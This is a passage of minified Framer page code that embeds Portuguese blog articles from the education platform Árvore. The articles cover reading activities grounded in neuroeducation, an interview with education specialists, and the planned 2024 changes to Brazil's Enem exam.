uma experi\\xeancia de afeto, pode ter um caminho muito significativo para a aprendizagem.\"}),/*#__PURE__*/e(\"p\",{children:\"Separamos abaixo, algumas dicas de como aplicar a leitura na aprendizagem conectando os diversos sentidos e incentivando a identifica\\xe7\\xe3o, assim como nos prop\\xf5e a neuroeduca\\xe7\\xe3o:\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Atividades de pr\\xe9-leitura\"})}),/*#__PURE__*/e(\"p\",{children:\"Fazer a imers\\xe3o na capa de um livro antes de iniciar a leitura, \\xe9 uma atividade que visa ampliar perspectivas do leitor para elaborar hip\\xf3teses sobre o conte\\xfado da obra. Algumas perguntas podem ser feitas \\xe0 turma, como: quem \\xe9 esse autor ou autora? Quando esse livro foi escrito? Quais as expectativas sobre a narrativa?\"}),/*#__PURE__*/e(\"p\",{children:\"O que queremos perceber ao ler esse texto? Por que este autor e n\\xe3o outro? Por que essa narrativa e n\\xe3o outra? S\\xe3o discuss\\xf5es que podem captar a aten\\xe7\\xe3o e instigar o interesse dos alunos.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Atividades durante a leitura\"})}),/*#__PURE__*/e(\"p\",{children:\"Sabemos que nem sempre \\xe9 poss\\xedvel deixar de lado as leituras obrigat\\xf3rias, mas essa necessidade pode ser transformada em um momento de experi\\xeancia mais ampla para os alunos. \"}),/*#__PURE__*/e(\"p\",{children:\"Para criar a condi\\xe7\\xe3o prop\\xedcia para que o estudante aprenda at\\xe9 mesmo pelas leituras mais desafiadoras, como os cl\\xe1ssicos, que tal come\\xe7ar por um livro que se aproxime do seu universo? Trechos de livros que se relacionem com a hist\\xf3ria ou se passem em \\xe9pocas similares, podem ser traduzidos e lidos no mesmo momento.\"}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, trazer para a leitura interven\\xe7\\xf5es visuais e audiovisuais como quadros e m\\xfasicas que remetam ao contexto, aos personagens e at\\xe9 mesmo a outras conex\\xf5es com a obra, \\xe9 um caminho poss\\xedvel.\"}),/*#__PURE__*/e(\"p\",{children:\"Outra estrat\\xe9gia \\xe9 combinar a leitura que se deseja evoluir com outros formatos liter\\xe1rios, como os livros em quadrinhos e os audiolivros, que tamb\\xe9m podem servir para o primeiro contato do estudante com a narrativa de um livro que apresenta uma linguagem mais distante da realidade do leitor.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Atividades de p\\xf3s leitura\"})}),/*#__PURE__*/e(\"p\",{children:\"As atividades de p\\xf3s leitura podem ir al\\xe9m daquelas a que estamos habituados. S\\xe3o oportunidades para criar conex\\xf5es, ampliar repert\\xf3rio de refer\\xeancias e criatividade.\"}),/*#__PURE__*/a(\"p\",{children:[\"Assim, que tal criar atividades e releituras que dialoguem com o universo digital, como \",/*#__PURE__*/e(\"em\",{children:\"quizzes\"}),\" no \",/*#__PURE__*/e(o,{href:\"https://kahoot.it/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Kahoot\"})}),\" ou no \",/*#__PURE__*/e(o,{href:\"https://www.canva.com/pt_br/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Canva\"})}),\", a partir da cria\\xe7\\xe3o de cartazes e outras produ\\xe7\\xf5es art\\xedsticas como poemas, textos, manifestos e desenhos? Cada vez mais, as tecnologias podem ajudar nos processos de ensino aprendizagem.\"]}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, as atividades de p\\xf3s leitura tamb\\xe9m s\\xe3o oportunidades para elaborar projetos liter\\xe1rios e interven\\xe7\\xf5es dos alunos no mundo a sua volta.\"}),/*#__PURE__*/e(\"p\",{children:\"A literatura pode extrapolar os livros e ser transformada em uma a\\xe7\\xe3o que os desloque para transformar coisas. Como projetos de interven\\xe7\\xe3o ambiental e de alguma \\xe1rea que esteja prejudiucada na escola ou na cidade.\"}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/nxKhkuWZoa9qnjCVrJDFQiKqvI.webp\",srcSet:\"https://framerusercontent.com/images/nxKhkuWZoa9qnjCVrJDFQiKqvI.webp?scale-down-to=512 512w,https://framerusercontent.com/images/nxKhkuWZoa9qnjCVrJDFQiKqvI.webp 900w\"}),/*#__PURE__*/e(\"h2\",{children:\"Confira entrevista exclusiva com especialistas!\"}),/*#__PURE__*/e(\"p\",{children:\"Para completar, trouxemos aqui uma entrevista exclusiva com Roberta e Ta\\xeds Bento, da SOS Educa\\xe7\\xe3o, especialistas no tema. Confira!\"}),/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"1- Para os educadores que est\\xe3o chegando agora e n\\xe3o conhecem as potencialidades da \\xe1rea da neuroeduca\\xe7\\xe3o, qual a primeira coisa que voc\\xeas diriam \\xe0 eles?\"})}),/*#__PURE__*/e(\"p\",{children:\"A esses educadores, n\\xf3s dir\\xedamos que h\\xe1 um mundo de pesquisas cujas descobertas complementam de forma extraordin\\xe1ria tudo aquilo que os grandes pensadores da educa\\xe7\\xe3o nos deixaram como legado. N\\xe3o precisamos temer a necessidade do abandono de tudo aquilo que aprendemos na gradua\\xe7\\xe3o. \"}),/*#__PURE__*/a(\"p\",{children:[\"Ao contr\\xe1rio, a neuroci\\xeancia cognitiva traz novas possibilidades. Ela abre um campo vasto de caminhos para que possamos entender melhor nossos alunos, o processo de aprendizagem de cada um e, em especial, d\\xe1 ao professor recursos para buscar, em parceria com a fam\\xedlia e o pr\\xf3prio aluno, novas rotas quando os obst\\xe1culos surgirem.\",/*#__PURE__*/e(\"strong\",{children:\"‍\"})]}),/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"2- Como os professores podem se apropriar, na pr\\xe1tica, dos conhecimentos da neuroeduca\\xe7\\xe3o?\"})}),/*#__PURE__*/e(\"p\",{children:\"O primeiro passo \\xe9 assimilar que uma fala usada para explicar aos alunos o porqu\\xea precisam aprender a aprender tamb\\xe9m serve a n\\xf3s, profissionais da educa\\xe7\\xe3o: n\\xe3o existe mais linha de chegada ou ponto final em nossa forma\\xe7\\xe3o. Estudar, desaprender e aprender novamente ser\\xe1 um ciclo cont\\xednuo ao longo de nossas vidas. Isso vale ainda mais para n\\xf3s, que temos como base do nosso trabalho contribuir para a forma\\xe7\\xe3o plena de nossos estudantes.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Ent\\xe3o a primeira li\\xe7\\xe3o \\xe9 saber que nunca estaremos totalmente prontos. A cada minutos novas descobertas est\\xe3o sendo publicadas. E os resultados de cada pesquisa nessa \\xe1rea gera outros trabalhos, que trazem novas descobertas. Nosso desafio \\xe9 encontrar o equil\\xedbrio entre o trabalho, os estudos e a vida pessoal.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m de palestras, encontros para discuss\\xe3o e leitura, temos hoje acesso a excelentes cursos oferecidos no formato remoto. \\xc9 poss\\xedvel para um professor, hoje, se tornar aluno de excelentes universidades ao redor do mundo.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"O alerta que precisamos manter ligado: mais do que em qualquer outra \\xe9poca, precisamos aprender a distinguir o que \\xe9 informa\\xe7\\xe3o confi\\xe1vel e de qualidade do que \\xe9 achismo, fakenews ou uma ideia que ainda n\\xe3o tem suporte de pesquisa confi\\xe1vel.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Um desafio e tanto, por\\xe9m, uma deliciosa aventura em busca do conhecimento que pode transformar vidas!\"}),/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"3- Como as plataformas educacionais podem apoiar os professores nos processos de compreens\\xe3o e desenvolvimento da aprendizagem dos alunos?\"})}),/*#__PURE__*/e(\"p\",{children:\"N\\xe3o temos a m\\xednima d\\xfavida de que o primeiro passo que os educadores precisam dar para conseguir vencer tantos desafios que o processo ensino-aprendizagem traz hoje \\xe9 encontrar bons parceiros. \\xc9 simplesmente imposs\\xedvel para uma escolar dar conta sozinha de todas as demandas que chegam a cada minuto.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Especialmente no p\\xf3s pandemia, quando professores e gestores escolares ainda est\\xe3o vivendo as sequelas f\\xedsicas e emocionais que ficaram, tanto para os adultos, quanto para as fam\\xedlias e alunos, ter parceiros nessa jornada \\xe9 fundamental.\"}),/*#__PURE__*/e(\"p\",{children:\"As plataformas educacionais representam a resposta para a t\\xe3o sonhada e necess\\xe1ria personaliza\\xe7\\xe3o do ensino. J\\xe1 temos plena consci\\xeancia de que uma turma de alunos n\\xe3o representa um grupo homog\\xeaneo de estudantes que conseguir\\xe3o aprender com os mesmos est\\xedmulos ou no mesmo ritmo. \"}),/*#__PURE__*/e(\"p\",{children:\"Cada crian\\xe7a \\xe9 um ser \\xfanico, que precisa e tem direito a estrat\\xe9gias, tempo e conte\\xfados diferenciados. Isso pode parecer uma miss\\xe3o imposs\\xedvel. E ser\\xe1, caso a escola tente fazer tudo sozinha, sem a parceria com empresas s\\xe9rias e que entendem quais s\\xe3o os desafios da educa\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"4- Como a neuroeduca\\xe7\\xe3o pode apoiar os educadores e alunos no processo de recomposi\\xe7\\xe3o da aprendizagem, no p\\xf3s pandemia?\"})}),/*#__PURE__*/e(\"p\",{children:\"At\\xe9 pouco tempo atr\\xe1s, pensar na possibilidade remota de sabermos como o c\\xe9rebro de cada aluno foi afetado pelo distanciamento dos colegas da sala e da escola poderia soar como filme de fic\\xe7\\xe3o cient\\xedfica. Mas, felizmente, j\\xe1 h\\xe1 algum tempo entender muitos processos que acontecem no c\\xe9rebro de nossos alunos \\xe9 realidade. \"}),/*#__PURE__*/e(\"p\",{children:\"Quando entendemos as consequ\\xeancias de ter o sentimento de pertencimento afetado pelos longos meses de isolamento social, podemos agir para amenizar as sequelas. E ajudar para que o aluno possa retomar seu potencial m\\xe1ximo em menor per\\xedodo de tempo e com redu\\xe7\\xe3o dos preju\\xedzos no aprendizado.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"A neuroplasticidade, capacidade do c\\xe9rebro se reestruturar, que acontece a partir de est\\xedmulos presentes do ambiente escolar e dentro de casa, tamb\\xe9m \\xe9 uma das descobertas capazes de mudar o destino de tantos alunos. P\"}),/*#__PURE__*/e(\"p\",{children:\"ara que cada estudante consiga encontrar e desenvolver seu potencial m\\xe1ximo, por\\xe9m, precisamos primeiro garantir que os educadores que fazem parte da sua inf\\xe2ncia e adolesc\\xeancia tenham acesso a todo conhecimento j\\xe1 dispon\\xedvel sobre como o c\\xe9rebro processa est\\xedmulo adequados e desafios de aprendizagem. \"}),/*#__PURE__*/e(\"p\",{children:\"A neuroeduca\\xe7\\xe3o \\xe9 a fonte na qual podemos beber para garantir que vamos cumprir nosso papel com essa gera\\xe7\\xe3o t\\xe3o carente de luz que as permita descobrir a capacidade infinita que cada crian\\xe7a carrega consigo!\"}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/a(\"p\",{children:[\"Educadores, se deseja conhecer mais dicas de como engajar seus estudantes em uma aprendizagem ativa, leia: \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/metodologias-ativas-de-aprendizagem\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Saiba tudo sobre metodologias ativas de aprendizagem\"})}),\".\",/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]})]});export const richText9=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Se voc\\xea tem acompanhado as novidades sobre a \\xe1rea da educa\\xe7\\xe3o no pa\\xeds, j\\xe1 sabe que o Exame Nacional do Ensino M\\xe9dio vai mudar. Vem a\\xed o novo Enem, um novo formato que vai ser aplicado a partir de 2024 em todo o Brasil.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"A nova prova traz mudan\\xe7as no modelo, que foram aprovadas pelo \",/*#__PURE__*/e(o,{href:\"http://portal.mec.gov.br/busca-geral/179-estudantes-108009469/vestibulares-1723538374/13318-novo-enem\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Minist\\xe9rio da Educa\\xe7\\xe3o\"})}),\". A elabora\\xe7\\xe3o dos par\\xe2metros do formato que vai estrear em 2024 foi realizada por um Grupo de Trabalho (GT) composto por integrantes do MEC e de outras entidades de educa\\xe7\\xe3o do pa\\xeds.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"Pontuamos aqui hoje, tudo que voc\\xea precisa saber sobre o novo Enem para adequar sua escola e preparar seus alunos. Vem com a gente!\\xa0\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Contexto da mudan\\xe7a para o novo Enem\"})}),/*#__PURE__*/a(\"p\",{children:[\"O Minist\\xe9rio da Educa\\xe7\\xe3o apresentou uma \",/*#__PURE__*/e(o,{href:\"http://portal.mec.gov.br/index.php?option=com_docman&view=download&alias=768-proposta-novovestibular1-pdf&category_slug=documentos-pdf&Itemid=30192\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"proposta\"})}),\" \\xe0 Associa\\xe7\\xe3o Nacional dos Dirigentes das Institui\\xe7\\xf5es Federais de Ensino Superior (IFES) detalhando o cen\\xe1rio atual, a raz\\xe3o e os requisitos da proposi\\xe7\\xe3o.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"Entende-se que o vestibular \\xe9 um instrumento de sele\\xe7\\xe3o para o ingresso no Ensino Superior no Brasil, que tem sua import\\xe2ncia e legitimidade reconhecidas. Entretanto, precisa ser revisto nos quesitos relacionados \\xe0s vantagens de um processo unificado de sele\\xe7\\xe3o e a possibilidade de que essa nova prova oriente a reestrutura\\xe7\\xe3o de curr\\xedculo do Ensino M\\xe9dio.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Por isso, segundo o MEC, a ideia \\xe9 democratizar as oportunidades de concorr\\xeancia \\xe0s vagas das IFES pela centraliza\\xe7\\xe3o do exame e promover a reestrutura\\xe7\\xe3o dos curr\\xedculos do Ensino M\\xe9dio, visando uma rela\\xe7\\xe3o positiva com o Ensino Superior.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"Ou seja, um exame desenvolvido com enfoque em habilidades e compet\\xeancias fundamentais para o futuro desempenho acad\\xeamico e para a forma\\xe7\\xe3o humana dos estudantes. E que vai servir como for\\xe7a motriz para a efetiva aplica\\xe7\\xe3o da \",/*#__PURE__*/e(o,{href:\"http://basenacionalcomum.mec.gov.br/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Base Nacional Comum Curricular\"})}),\" (BNCC) e do \",/*#__PURE__*/e(o,{href:\"https://www.youtube.com/watch?v=jPjlVGgq5DI&t=166s\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Novo Ensino M\\xe9dio\"})}),\" nos curr\\xedculos das escolas.\\xa0\"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Como fica a utiliza\\xe7\\xe3o do novo Enem pelas universidades\"})}),/*#__PURE__*/e(\"p\",{children:\"As universidades possuem autonomia na decis\\xe3o e ter\\xe3o a possibilidade de utilizar a prova de diferentes maneiras em seus processos seletivos.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"As possibilidades s\\xe3o: fase \\xfanica, primeira fase, combinada com o vestibular da institui\\xe7\\xe3o e fase \\xfanica para vagas remanescentes no vestibular da institui\\xe7\\xe3o.\\xa0\\xa0\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Estrutura do exame\"})}),/*#__PURE__*/a(\"p\",{children:[\"Para seguir a proposta do Novo Ensino M\\xe9dio, a estrutura da prova vai ser guiada pela atual grade apresentada na BNCC, projetada a partir de dois eixos: a forma\\xe7\\xe3o geral b\\xe1sica, com \\xeanfase em L\\xedngua Portuguesa e Matem\\xe1tica, e os \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/itinerarios-formativos-novo-ensino-medio\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"itiner\\xe1rios formativos\"})}),\", que s\\xe3o definidos pelos estudantes de acordo com seus interesses e aptid\\xf5es.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"O exame continua a ser aplicado em dois dias, por\\xe9m, o conte\\xfado, as \\xe1reas do conhecimento e a organiza\\xe7\\xe3o da prova ficam diferentes do modelo atual.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"O primeiro dia vai focar nas compet\\xeancias e habilidades da forma\\xe7\\xe3o geral b\\xe1sica, conforme previsto na Base. O segundo dia vai avaliar o conte\\xfado relacionado aos conhecimentos espec\\xedficos, escolhidos pelo estudante durante o Ensino M\\xe9dio.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Ficou curioso para entender melhor? Vamos detalhar:\\xa0\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Novo Enem: primeiro dia de exame\\xa0\"})}),/*#__PURE__*/e(\"p\",{children:\"A prova aplicada no primeiro dia ser\\xe1 interdisciplinar, interpretativa e contextualizada, compreendendo temas de conhecimento gerais com enfoque nas \\xe1reas de Linguagens e Matem\\xe1tica.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Quest\\xf5es de l\\xedngua estrangeira tamb\\xe9m estar\\xe3o nessa primeira fase, pois integram a \\xe1rea de Linguagens.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Outro ponto importante do primeiro dia de exame \\xe9 a reda\\xe7\\xe3o dissertativa-argumentativa. Essa parte fundamental e marcante do Enem permanece no novo modelo.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Em resumo, o primeiro dia ser\\xe1 de uma prova comum a todos os participantes e, diferentemente do modelo atual, n\\xe3o ser\\xe1 dividida por disciplinas.\\xa0\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Novo Enem: segundo dia de exame\"})}),/*#__PURE__*/e(\"p\",{children:\"O segundo dia apresenta mudan\\xe7as mais significativas em rela\\xe7\\xe3o ao modelo atual. Ele est\\xe1 relacionado aos itiner\\xe1rios formativos, propostos na estrutura do Novo Ensino M\\xe9dio, e \\xe0 pretens\\xe3o acad\\xeamica do estudante.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Ou seja, na segunda fase ser\\xe3o avaliados os conhecimentos espec\\xedficos necess\\xe1rios para o que se deseja cursar no Ensino Superior. O estudante vai escolher, no momento da inscri\\xe7\\xe3o, as \\xe1reas dos conhecimentos que v\\xe3o integrar sua avalia\\xe7\\xe3o. Elas ser\\xe3o divididas em 4 blocos:\\xa0\"}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Bloco I \"}),\"– Linguagens e Suas Tecnologias e Ci\\xeancias Humanas e Sociais Aplicadas\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Bloco II\"}),\" – Matem\\xe1tica e Suas Tecnologias e Ci\\xeancias da Natureza e suas Tecnologias\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Bloco III\"}),\" – Matem\\xe1tica e Suas Tecnologias e Ci\\xeancias Humanas e Sociais Aplicadas\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Bloco IV\"}),\" – Ci\\xeancias da Natureza e Suas Tecnologias e Ci\\xeancias Humanas e Sociais Aplicadas\"]})})]}),/*#__PURE__*/e(\"p\",{children:\"O segundo dia de exame do novo Enem ser\\xe1 o principal agente de indu\\xe7\\xe3o da reestrutura\\xe7\\xe3o dos curr\\xedculos da \\xfaltima etapa da educa\\xe7\\xe3o b\\xe1sica.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Isso porque, se hoje as escolas n\\xe3o est\\xe3o implementando as mudan\\xe7as propostas no Novo Ensino M\\xe9dio por diversos motivos, com o exame remodelado, essa necessidade se tornar\\xe1 mais urgente e indispens\\xe1vel para garantir o sucesso dos candidatos.\\xa0\"})]});export const richText10=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/a(\"h2\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Quest\\xf5es no novo Enem\"}),\"\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"O modelo atual de prova conta somente com quest\\xf5es fechadas, as famosas quest\\xf5es de m\\xfaltipla escolha, com cinco alternativas cada. Por\\xe9m, para o novo Enem, existe a possibilidade da prova conter tamb\\xe9m quest\\xf5es discursivas.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"O MEC deixa a cargo do \",/*#__PURE__*/e(o,{href:\"https://www.gov.br/inep/pt-br\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Inep\"})}),\" (Instituto Nacional de Estudos e Pesquisas Educacionais An\\xedsio Teixeira) a defini\\xe7\\xe3o dos formatos dos itens. A condi\\xe7\\xe3o estabelecida em rela\\xe7\\xe3o a isso, por hora, \\xe9 que, no caso da reda\\xe7\\xe3o e dos poss\\xedveis itens dissertativos, eles representem 25% da pontua\\xe7\\xe3o total da prova.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 importante ressaltar que, na proposta do MEC \\xe0s IFES, fica clara a necessidade de um cuidado especial quanto \\xe0 complexidade dos itens que v\\xe3o compor os exames.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Sendo utilizada a Teoria de Resposta ao Item (TRI), j\\xe1 dominada pelo Inep, para medir as habilidades de cada indiv\\xedduo e diferenciar os estudantes em n\\xedveis de profici\\xeancia.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"O objetivo \\xe9 que o novo Enem se torne um instrumento de alto poder preditivo de desempenho futuro, como demandam as IFES.\\xa0\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O novo Enem e os cursos t\\xe9cnicos\"})}),/*#__PURE__*/e(\"p\",{children:\"Os estudantes que tenham cursado o ensino t\\xe9cnico, ter\\xe3o uma bonifica\\xe7\\xe3o na pontua\\xe7\\xe3o do exame. Por exemplo, caso o aluno tenha feito um curso t\\xe9cnico de enfermagem ao longo do Ensino M\\xe9dio, ao tentar ingressar no curso superior da mesma \\xe1rea, ele ter\\xe1 pontos extras a serem contabilizados na sua pontua\\xe7\\xe3o final.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Dessa forma, esse estudante poder\\xe1 alcan\\xe7ar uma melhor coloca\\xe7\\xe3o nos resultados. Uma vez que se encontra mais preparado para o curso escolhido na universidade por j\\xe1 ter tido contato com a \\xe1rea durante a educa\\xe7\\xe3o t\\xe9cnica.\\xa0\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Novo Enem na era digital\\xa0\"})}),/*#__PURE__*/e(\"p\",{children:\"Existe um planejamento de transi\\xe7\\xe3o gradual para que o exame seja aplicado em formato digital. Isso resultaria em uma corre\\xe7\\xe3o mais automatizada e a divulga\\xe7\\xe3o dos resultados se daria de forma mais r\\xe1pida.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Para que isso aconte\\xe7a de fato, o MEC prev\\xea a ado\\xe7\\xe3o e utiliza\\xe7\\xe3o de novas tecnologias e plataformas, al\\xe9m de investimento em intelig\\xeancia artificial para corre\\xe7\\xe3o de quest\\xf5es discursivas, por exemplo.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"Por isso, gestor, se voc\\xea ainda tem d\\xfavidas sobre a necessidade do \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/como-a-tecnologia-pode-ajudar-na-sala-de-aula\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"uso de tecnologia em sala de aula\"})}),\" na sua escola, essa \\xe9 a hora de repensar essa decis\\xe3o. Principalmente considerando os discentes que est\\xe3o hoje na 1\\xaa s\\xe9rie do Ensino M\\xe9dio. S\\xe3o eles que, ao conclu\\xedrem essa etapa, v\\xe3o ser avaliados pelo novo modelo de exame.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"Ou seja, todo o movimento educacional e o incentivo da BNCC para que a escola invista na forma\\xe7\\xe3o dos estudantes visando o uso \\xe9tico, cr\\xedtico e respons\\xe1vel das plataformas digitais poder\\xe1, neste contexto do novo Enem, contribuir tamb\\xe9m para o desempenho dos candidatos na hora da prova.\\xa0\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Detalhes que ainda est\\xe3o em aberto sobre o novo Enem\"})}),/*#__PURE__*/e(\"p\",{children:\"O novo Enem s\\xf3 vai entrar em vigor no ano de 2024, isso significa que em 2022 e 2023, muitas quest\\xf5es ainda ser\\xe3o definidas pelos \\xf3rg\\xe3os competentes.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Descrevemos abaixo alguns pontos que est\\xe3o em aberto e j\\xe1 geram d\\xfavidas nos futuros candidatos a uma vaga nas universidades e em toda a comunidade escolar. S\\xe3o quest\\xf5es \\xe0s quais, todos que trabalham com educa\\xe7\\xe3o, devem ficar atentos!\"}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Como as universidades v\\xe3o utilizar o Enem em seus processos seletivos? Foram citados l\\xe1 em cima alguns caminhos poss\\xedveis e mais gerais para essa decis\\xe3o. Mas entendendo que as universidades t\\xeam autonomia nessa escolha, pode ser que outros caminhos sejam considerados.\\xa0\"})})}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Qual ser\\xe1 a composi\\xe7\\xe3o exata das quest\\xf5es nas provas? O Inep ainda vai definir o formato e a composi\\xe7\\xe3o do total de itens do novo exame.\\xa0\"})})}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Ser\\xe1 a mesma prova para os estudantes do Ensino M\\xe9dio e para quem j\\xe1 se formou na educa\\xe7\\xe3o b\\xe1sica? Outra quest\\xe3o ainda n\\xe3o respondida pelos \\xf3rg\\xe3os competentes, embora acredita-se que sim, para que a proposta de centraliza\\xe7\\xe3o do exame seja coerente com os objetivos previstos.\\xa0\"})})}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/e(\"p\",{children:\"Fique ligado: \\xe0 medida que essas e outras perguntas forem sendo esclarecidas pelos editais e documentos oficiais, vamos trazer para voc\\xeas tudo detalhado aqui no blog.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/e(\"p\",{children:\"Gestor, esse conte\\xfado te ajudou a se aprofundar na tem\\xe1tica do novo Enem? Pelas informa\\xe7\\xf5es divulgadas at\\xe9 agora sobre o tema, as maiores urg\\xeancias para as escolas s\\xe3o a adequa\\xe7\\xe3o ao curr\\xedculop do Novo Ensino M\\xe9dio e o investimento em tecnologia na forma\\xe7\\xe3o dos estudantes.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"Aproveite e \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/materiais/planejamento-do-novo-ensino-medio-nas-escolas?utm_source=blog_arvore&utm_medium=referral&utm_content=planilhanem_banner_blog&utm_campaign=marca_2022\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"baixe agora a Planilha de Planejamento do Novo Ensino M\\xe9dio!\"})})]})]});export const richText11=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/a(\"p\",{children:[\"Desde 2020 as escolas de todo o pa\\xeds est\\xe3o implementando a BNCC do ensino m\\xe9dio. Assim, em 2022, o Novo Ensino M\\xe9dio ser\\xe1 posto em 